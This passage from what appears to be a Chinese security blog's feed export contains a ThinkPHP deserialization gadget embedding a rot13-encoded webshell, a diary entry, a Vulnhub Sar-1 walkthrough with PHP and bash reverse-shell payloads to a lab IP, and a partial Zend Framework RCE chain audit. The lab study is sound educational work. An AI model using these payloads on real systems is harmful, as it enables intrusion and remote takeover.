class="title">File</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$options</span> = [];</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$tag</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->options = [</span><br><span class="line"> <span class="string">'expire'</span> => <span class="number">0</span>,</span><br><span class="line"> <span class="string">'cache_subdir'</span> => <span class="literal">false</span>,</span><br><span class="line"> <span class="string">'prefix'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="string">'path'</span> => <span class="string">'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>'</span>,</span><br><span class="line"> <span class="string">'data_compress'</span> => <span class="literal">false</span>,</span><br><span class="line"> ];</span><br><span class="line"> <span class="variable language_">$this</span>->tag = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">model</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span>{</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>\<span class="title">Windows</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="keyword">new</span> <span class="title class_">Windows</span>()));</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> thinkphp框架 </tag>
</tags>
</entry>
<entry>
<title>他人不合时宜的定义,不是自己的过错</title>
<link href="/2022/07/27/%E4%BB%96%E4%BA%BA%E4%B8%8D%E5%90%88%E6%97%B6%E5%AE%9C%E7%9A%84%E5%AE%9A%E4%B9%89%EF%BC%8C%E4%B8%8D%E6%98%AF%E8%87%AA%E5%B7%B1%E7%9A%84%E8%BF%87%E9%94%99/"/>
<url>/2022/07/27/%E4%BB%96%E4%BA%BA%E4%B8%8D%E5%90%88%E6%97%B6%E5%AE%9C%E7%9A%84%E5%AE%9A%E4%B9%89%EF%BC%8C%E4%B8%8D%E6%98%AF%E8%87%AA%E5%B7%B1%E7%9A%84%E8%BF%87%E9%94%99/</url>
<content type="html"><![CDATA[<h3 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h3><p>首先这几天都在北京跑,没有怎么学习<br>确实很烦<br>我也没有写过这样的日记,但也确实是想让自己安静下来<br>现在的 ki10Moc 变的功利且浮躁<br>不想沉静下来<br>虽说想参加国 hvv 没什么问题<br>但是因为想参加 hvv 已经丢失了太多东西<br>现在想捡回来,不知道还晚不晚</p><h3 id="经历"><a class="markdownIt-Anchor" href="#经历">#</a> 经历</h3><p>签了某大厂的合同参加 hvv<br> 但是无奈市场分配和客户需求的不对称 (中介招了一堆人,还有相当一部分人给鸽了)<br> 导致快开始了都没有项目<br>在朋友的介绍下去了一个北京某 hvv 项目<br>但在 24 号,也就是开始的前一天的晚上突然说项目不需要太多人了<br>当时正在整理资产和熟悉设备,说实话有点蒙 (最后留下了两个研究生和已经参加工作的,小白本科还没毕业)</p><p>不是很理解这是不是 hvv 的常态还是个例<br>具体不清楚那边是出于什么考量<br>这时候就有人会说了,那就是嫌弃你技术太辣鸡,没别的</p><p>对的,有时候我们是要从自己身上找一些原因,毕竟个人进步是一个人应有的常态<br>但这件事情,我不想过多的否认自己,我能面过国内几个大厂的二面,甚至三面,首先我不想说我是个完全不会的新手,可以说我是废物,垃圾,但我并不想否认我之前学习安全所做出的那一点点努力</p><p>我反复询问自己,是不是自己太垃圾,为什么没有安排上 hvv<br> 客观上说确实是因为本来定在八月初的线下 AWD,我不敢去上海 (当时的上海还没有宣布解封),导致一直在寻找合适的项目,无奈最后落空。但如果我可以再努力一点,再聪明一点,是不是有机会签别的大厂呢</p><p>多少肯定是有我自己的原因的<br>但这些并不重要<br>重要的是以后怎么走<br>这不过就是一次国 hvv 罢了</p><p>我不想将别人不合时宜的定义作为自己的过错<br>庸人自扰罢了</p><h3 id="最后"><a class="markdownIt-Anchor" href="#最后">#</a> 最后</h3><p>26 号下午回到郑州</p><p>唯一的收获就是拍了天安门侧面的照片</p><p>但我没有想停下<br>我还想继续往前走<br>我想看看 ki10Moc 还有多大的能耐</p><p>我没有停,我也不会停…</p>]]></content>
<tags>
<tag> 人生 </tag>
</tags>
</entry>
<entry>
<title>AWD-备战</title>
<link href="/2022/07/21/AWD-Attack/"/>
<url>/2022/07/21/AWD-Attack/</url>
<content type="html"><![CDATA[<h3 id=""><a class="markdownIt-Anchor" href="#">#</a> </h3>]]></content>
<tags>
<tag> 渗透 </tag>
<tag> AWD </tag>
</tags>
</entry>
<entry>
<title>Vulnhub:Sar-1</title>
<link href="/2022/07/21/Vulnhub%EF%BC%9ASar-1/"/>
<url>/2022/07/21/Vulnhub%EF%BC%9ASar-1/</url>
<content type="html"><![CDATA[<h3 id="信息收集"><a class="markdownIt-Anchor" href="#信息收集">#</a> 信息收集</h3><p>锁靶机 IP<br><img src="https://img-blog.csdnimg.cn/4d5c1786e5984bfda955d24540679b33.png" alt="在这里插入图片描述"><br>只开放了 80 端口<br><img src="https://img-blog.csdnimg.cn/8fecd7dfb15c41d4a2ced1e5c23ac68a.png" alt="在这里插入图片描述"></p><p>目录扫描<br><img src="https://img-blog.csdnimg.cn/f912eb761cf2402dbc853bb534b50909.png" alt="在这里插入图片描述"></p><p>robots.txt 下记录的网址<br><img src="https://img-blog.csdnimg.cn/eb4da7da947340b8b9cb021c303d09c0.png" alt="在这里插入图片描述"><br>根据暴露出的信息试着找下有没有 exp</p><p><img src="https://img-blog.csdnimg.cn/a16562de726d4ee292e7c8e0982eae61.png" alt="在这里插入图片描述"><br>因为是 php 站点,这里就使用第二个进行测试</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">└─# batcat 47204.txt </span><br><span class="line">───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> │ File: 47204.txt</span><br><span class="line">───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> 1 │ # Exploit Title: sar2html Remote Code Execution</span><br><span class="line"> 2 │ # Date: 01/08/2019</span><br><span class="line"> 3 │ # Exploit Author: Furkan KAYAPINAR</span><br><span class="line"> 4 │ # Vendor Homepage:https://github.com/cemtan/sar2html</span><br><span class="line"> 5 │ # Software Link: https://sourceforge.net/projects/sar2html/</span><br><span class="line"> 6 │ # Version: 3.2.1</span><br><span class="line"> 7 │ # Tested on: Centos 7</span><br><span class="line"> 8 │ </span><br><span class="line"> 9 │ In web application you will see index.php?plot url extension.</span><br><span class="line"> 10 │ </span><br><span class="line"> 11 │ http://<ipaddr>/index.php?plot=;<command-here> will execute</span><br><span class="line"> 12 │ the command you entered. After command injection press "select # host" then your command's</span><br><span class="line"> 13 │ output will appear bottom side of the scroll screen.</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>访问网站的 index.php 然后传参即可 rce<br><img src="https://img-blog.csdnimg.cn/2f9a00332877473fb1f760658de7dfdc.png" alt="在这里插入图片描述"></p><p>反弹 shell<br> 这里选择 php 反弹 shell</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//192.168.30.136/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.30.128%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27</span></span><br></pre></td></tr></table></figure><p>url 编码一下<br>因为是 ubuntu 的靶机,所有 python 反弹应该也是可以的</p><p><a href="https://github.com/carlospolop/PEASS-ng/releases">然后用脚本枚举提权</a><br>给一下权限</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chmod 777 linpeas.sh</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/3067810c96864cd0a794504db9fe8cf9.png" alt="在这里插入图片描述"><br>其中发现一段 sudo 权限<br><img src="https://img-blog.csdnimg.cn/1517267d38e649f3b981c7a48147289b.png" alt="在这里插入图片描述"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">cat finally.sh</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/sh</span></span><br><span class="line"></span><br><span class="line">./write.sh</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/b76580e64fdc472bbc0f138a2ffe22f3.png" alt="在这里插入图片描述"><br>使用计划任务提权<br>发现 finally 在以 sudo 的权限运行 write 的脚本<br>那这里我们如果重写 write 的内容,就可以尝试反弹一个 root 的 shell</p><p><a href="http://write.sh">write.sh</a></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/bash</span></span><br><span class="line"></span><br><span class="line">bash -i >& /dev/tcp/192.168.30.128/5678 0>&1</span><br></pre></td></tr></table></figure><p>该脚本位每 5 分钟就执行一次<br><img src="https://img-blog.csdnimg.cn/d915255c3b1048989a2fd1e4eccaebad.png" alt="在这里插入图片描述"><br>所以上传完重写的 write 后开个端口监听等着就完事了</p><p>拿到 root 后就 cat root.txt 即可<br>这里我一直等不到 shell 出来,就没有截图了</p><p>靶机整体简单,就是 www-data->root 这里需要理解一下,执行的脚本是绕过了 love 用户直接拿到 root。</p>]]></content>
<tags>
<tag> 渗透 </tag>
<tag> Vulnhub </tag>
<tag> RedTeam </tag>
</tags>
</entry>
<entry>
<title>Zend FrameWork RCE1</title>
<link href="/2022/07/20/Zend%20FrameWork%20RCE1/"/>
<url>/2022/07/20/Zend%20FrameWork%20RCE1/</url>
<content type="html"><![CDATA[<h3 id="准备"><a class="markdownIt-Anchor" href="#准备">#</a> 准备</h3><p>在 bin 目录执行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">zf create prooject web1</span><br></pre></td></tr></table></figure><p>在 <code>application\controllers\IndexController.php</code> 写入反序列化接收的参数</p><p><img src="https://img-blog.csdnimg.cn/cca4a5cdc2a34ef28713b0f9c22aee03.png" alt="在这里插入图片描述"></p><h3 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h3><p><code>library\Zend\Log.php</code> 中的 <code>__destruct</code></p><p><img src="https://img-blog.csdnimg.cn/a0c65f2d77da42f7b93000dbbb3d6c0a.png" alt="在这里插入图片描述"></p><p>这里对_writers (私有的数组变量) 遍历并调用 shutdown 函数</p><p>这里直接跟进会发现其调用的是 <code>Abstract.php</code> 下的 shutdown 无参方法</p><p><img src="https://img-blog.csdnimg.cn/fcfd57a30e234d56bac660defc78f056.png" alt="在这里插入图片描述"></p><p>没法继续向下跟进</p><p>所以需要找其他的 shutdown 方法</p><p>这里找到 <code>Zend_Log_Writer_Mail</code> 这个类的 <code>shutdown()</code></p><p><img src="https://img-blog.csdnimg.cn/4881cfbf2fda459bbcacdf7843096e47.png" alt="在这里插入图片描述"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">shutdown</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// If there are events to mail, use them as message body. Otherwise,</span></span><br><span class="line"> <span class="comment">// there is no mail to be sent.</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable language_">$this</span>->_eventsToMail)) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->_subjectPrependText !== <span class="literal">null</span>) {</span><br><span class="line"> <span class="comment">// Tack on the summary of entries per-priority to the subject</span></span><br><span class="line"> <span class="comment">// line and set it on the Zend_Mail object.</span></span><br><span class="line"> <span class="variable">$numEntries</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">_getFormattedNumEntriesPerPriority</span>();</span><br><span class="line"> <span class="variable language_">$this</span>->_mail-><span class="title function_ invoke__">setSubject</span>(</span><br><span class="line"> <span class="string">"<span class="subst">{$this->_subjectPrependText}</span> (<span class="subst">{$numEntries}</span>)"</span>);</span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> <span class="comment">// Always provide events to mail as plaintext.</span></span><br><span class="line"> <span class="variable language_">$this</span>->_mail-><span class="title function_ invoke__">setBodyText</span>(<span class="title function_ invoke__">implode</span>(<span class="string">''</span>, <span class="variable">$this</span>->_eventsToMail));</span><br><span class="line"> <span class="comment">// If a Zend_Layout instance is being used, set its "events"</span></span><br><span class="line"> <span class="comment">// value to the lines formatted for use with the layout.</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->_layout) {</span><br><span class="line"> <span class="comment">// Set the required "messages" value for the layout. Here we</span></span><br><span class="line"> <span class="comment">// are assuming that the layout is for use with HTML.</span></span><br><span class="line"> <span class="variable language_">$this</span>->_layout->events =</span><br><span class="line"> <span class="title function_ invoke__">implode</span>(<span class="string">''</span>, <span class="variable">$this</span>->_layoutEventsToMail);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// If an exception occurs during rendering, convert it to a notice</span></span><br><span class="line"> <span class="comment">// so we can avoid an exception thrown without a stack frame.</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="variable language_">$this</span>->_mail-><span class="title function_ invoke__">setBodyHtml</span>(<span class="variable">$this</span>->_layout-><span class="title function_ invoke__">render</span>());</span><br><span class="line"> } <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) {</span><br><span class="line"> <span class="title function_ invoke__">trigger_error</span>(</span><br><span class="line"> <span class="string">"exception occurred when rendering layout; "</span> .</span><br><span class="line"> <span class="string">"unable to set html body for message; "</span> .</span><br><span class="line"> <span class="string">"message = <span class="subst">{$e->getMessage()}</span>; "</span> .</span><br><span class="line"> <span class="string">"code = <span class="subst">{$e->getCode()}</span>; "</span> .</span><br><span class="line"> <span class="string">"exception class = "</span> . <span class="title function_ invoke__">get_class</span>(<span class="variable">$e</span>),</span><br><span class="line"> E_USER_NOTICE);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>前两个 if 不为空即可</p><p>按照定义</p><p><img src="https://img-blog.csdnimg.cn/cf4a03b2f5024d86b926271680b9a4c0.png" alt="在这里插入图片描述"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">$this</span>->_mail => <span class="variable language_">$this</span>->_mail = <span class="keyword">new</span> <span class="title class_">Zend_Mail</span>();</span><br><span class="line"><span class="variable language_">$this</span>->_layout => <span class="variable language_">$this</span>->_layout = <span class="keyword">new</span> <span class="title class_">Zend_Layout</span>();</span><br></pre></td></tr></table></figure><p>之后进入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">$this</span>->_mail-><span class="title function_ invoke__">setBodyHtml</span>(<span class="variable">$this</span>->_layout-><span class="title function_ invoke__">render</span>());</span><br></pre></td></tr></table></figure><p>跟进 render</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">render</span>(<span class="params"><span class="variable">$name</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">null</span> === <span class="variable">$name</span>) {</span><br><span class="line"> <span class="variable">$name</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getLayout</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>-><span class="title function_ invoke__">inflectorEnabled</span>() && (<span class="literal">null</span> !== (<span class="variable">$inflector</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getInflector</span>())))</span><br><span class="line"> {</span><br><span class="line"> <span class="variable">$name</span> = <span class="variable language_">$this</span>->_inflector-><span class="title function_ invoke__">filter</span>(<span class="keyword">array</span>(<span class="string">'script'</span> => <span class="variable">$name</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$view</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getView</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">null</span> !== (<span class="variable">$path</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getViewScriptPath</span>())) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">method_exists</span>(<span class="variable">$view</span>, <span class="string">'addScriptPath'</span>)) {</span><br><span class="line"> <span class="variable">$view</span>-><span class="title function_ invoke__">addScriptPath</span>(<span class="variable">$path</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$view</span>-><span class="title function_ invoke__">setScriptPath</span>(<span class="variable">$path</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="literal">null</span> !== (<span class="variable">$path</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getViewBasePath</span>())) {</span><br><span class="line"> <span class="variable">$view</span>-><span class="title function_ invoke__">addBasePath</span>(<span class="variable">$path</span>, <span class="variable">$this</span>->_viewBasePrefix);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$view</span>-><span class="title function_ invoke__">render</span>(<span class="variable">$name</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>第二个 if 满足的两个条件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">inflectorEnabled</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->_inflectorEnabled;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getInflector</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="literal">null</span> === <span class="variable language_">$this</span>->_inflector) {</span><br><span class="line"> <span class="keyword">require_once</span> <span class="string">'Zend/Filter/Inflector.php'</span>;</span><br><span class="line"> <span class="variable">$inflector</span> = <span class="keyword">new</span> <span class="title class_">Zend_Filter_Inflector</span>();</span><br><span class="line"> <span class="variable">$inflector</span>-><span class="title function_ invoke__">setTargetReference</span>(<span class="variable">$this</span>->_inflectorTarget)</span><br><span class="line"> -><span class="title function_ invoke__">addRules</span>(<span class="keyword">array</span>(<span class="string">':script'</span> => <span class="keyword">array</span>(<span class="string">'Word_CamelCaseToDash'</span>, <span class="string">'StringToLower'</span>)))</span><br><span class="line"> -><span class="title function_ invoke__">setStaticRuleReference</span>(<span class="string">'suffix'</span>, <span class="variable">$this</span>->_viewSuffix);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">setInflector</span>(<span class="variable">$inflector</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->_inflector;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>第一个好说,设置为 true</p><p>第二个保证 <code>$this->_inflector</code> 不为空即可</p><p>由于 <code>$this->_inflector</code> 是可控的,所以我们</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$name</span> = <span class="variable language_">$this</span>->_inflector-><span class="title function_ invoke__">filter</span>(<span class="keyword">array</span>(<span class="string">'script'</span> => <span class="variable">$name</span>));</span><br></pre></td></tr></table></figure><p>可以调用任意类的 filter 方法</p><p>这里找到三个地方</p><p><code>Inflector</code> , <code>PregReplace</code> 和 <code>Callback</code> 中都有 filter 方法</p><p>跟进到 <code>Inflector</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$source</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// clean source</span></span><br><span class="line"> <span class="keyword">foreach</span> ( (<span class="keyword">array</span>) <span class="variable">$source</span> <span class="keyword">as</span> <span class="variable">$sourceName</span> => <span class="variable">$sourceValue</span>) {</span><br><span class="line"> <span class="variable">$source</span>[<span class="title function_ invoke__">ltrim</span>(<span class="variable">$sourceName</span>, <span class="string">':'</span>)] = <span class="variable">$sourceValue</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$pregQuotedTargetReplacementIdentifier</span> = <span class="title function_ invoke__">preg_quote</span>(<span class="variable">$this</span>->_targetReplacementIdentifier, <span class="string">'#'</span>);</span><br><span class="line"> <span class="variable">$processedParts</span> = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->_rules <span class="keyword">as</span> <span class="variable">$ruleName</span> => <span class="variable">$ruleValue</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$source</span>[<span class="variable">$ruleName</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_string</span>(<span class="variable">$ruleValue</span>)) {</span><br><span class="line"> <span class="comment">// overriding the set rule</span></span><br><span class="line"> <span class="variable">$processedParts</span>[<span class="string">'#'</span>.<span class="variable">$pregQuotedTargetReplacementIdentifier</span>.<span class="variable">$ruleName</span>.<span class="string">'#'</span>] = <span class="title function_ invoke__">str_replace</span>(<span class="string">'\\'</span>, <span class="string">'\\\\'</span>, <span class="variable">$source</span>[<span class="variable">$ruleName</span>]);</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$ruleValue</span>)) {</span><br><span class="line"> <span class="variable">$processedPart</span> = <span class="variable">$source</span>[<span class="variable">$ruleName</span>];</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$ruleValue</span> <span class="keyword">as</span> <span class="variable">$ruleFilter</span>) {</span><br><span class="line"> <span class="variable">$processedPart</span> = <span class="variable">$ruleFilter</span>-><span class="title function_ invoke__">filter</span>(<span class="variable">$processedPart</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$processedParts</span>[<span class="string">'#'</span>.<span class="variable">$pregQuotedTargetReplacementIdentifier</span>.<span class="variable">$ruleName</span>.<span class="string">'#'</span>] = <span class="title function_ invoke__">str_replace</span>(<span class="string">'\\'</span>, <span class="string">'\\\\'</span>, <span class="variable">$processedPart</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">is_string</span>(<span class="variable">$ruleValue</span>)) {</span><br><span class="line"> <span class="variable">$processedParts</span>[<span class="string">'#'</span>.<span class="variable">$pregQuotedTargetReplacementIdentifier</span>.<span class="variable">$ruleName</span>.<span class="string">'#'</span>] = <span class="title function_ invoke__">str_replace</span>(<span class="string">'\\'</span>, <span class="string">'\\\\'</span>, <span class="variable">$ruleValue</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// all of the values of processedParts would have been str_replace('\\', '\\\\', ..)'d to disable preg_replace backreferences</span></span><br><span class="line"> <span class="variable">$inflectedTarget</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="title function_ invoke__">array_keys</span>(<span class="variable">$processedParts</span>), <span class="title function_ invoke__">array_values</span>(<span class="variable">$processedParts</span>), <span class="variable">$this</span>->_target);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->_throwTargetExceptionsOn && (<span class="title function_ invoke__">preg_match</span>(<span class="string">'#(?='</span>.<span class="variable">$pregQuotedTargetReplacementIdentifier</span>.<span class="string">'[A-Za-z]{1})#'</span>, <span class="variable">$inflectedTarget</span>) == <span class="literal">true</span>)) {</span><br><span class="line"> <span class="keyword">require_once</span> <span class="string">'Zend/Filter/Exception.php'</span>;</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Zend_Filter_Exception</span>(<span class="string">'A replacement identifier '</span> . <span class="variable language_">$this</span>->_targetReplacementIdentifier . <span class="string">' was found inside the inflected target, perhaps a rule was not satisfied with a target source? Unsatisfied inflected target: '</span> . <span class="variable">$inflectedTarget</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$inflectedTarget</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里的 preg_replace 的三个参数都可控</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$inflectedTarget</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="title function_ invoke__">array_keys</span>(<span class="variable">$processedParts</span>), <span class="title function_ invoke__">array_values</span>(<span class="variable">$processedParts</span>), <span class="variable">$this</span>->_target);</span><br></pre></td></tr></table></figure><p>结合着</p><p><code>Callback</code> 中的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span 